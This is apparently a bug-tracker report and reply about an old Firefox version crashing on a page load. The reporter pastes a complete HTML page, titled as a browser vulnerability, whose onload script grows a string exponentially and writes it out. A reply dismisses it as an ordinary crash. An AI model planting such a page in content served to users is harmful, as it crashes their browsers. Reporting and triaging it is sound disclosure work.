Firefox version 3.0.15 get crash when a html page is loaded or opened in it. The script is same which i submitted for the Firefox version 3.6 on Windows platform. The script is : 

<html><title>MULTIPLE-BROWSERS VULNERABILITY!</title>
<script>
function junk()
{
var buff="A";
for (i=0;i<150;i++)
{
buff+=buff+"A";
document.write(buff+buff);
}
}
</script>
<body onload="javascript:junk();">
<FONT COLOR=red SIZE=6><b>PWNED!!!</b></FONT>
</body>
</html>

This is a buffer overflow problem which results in crash.

There is no need to file a bug for different firefox versions/OS
BTW: most browser crashes are caused by remote content, nothing special in this case
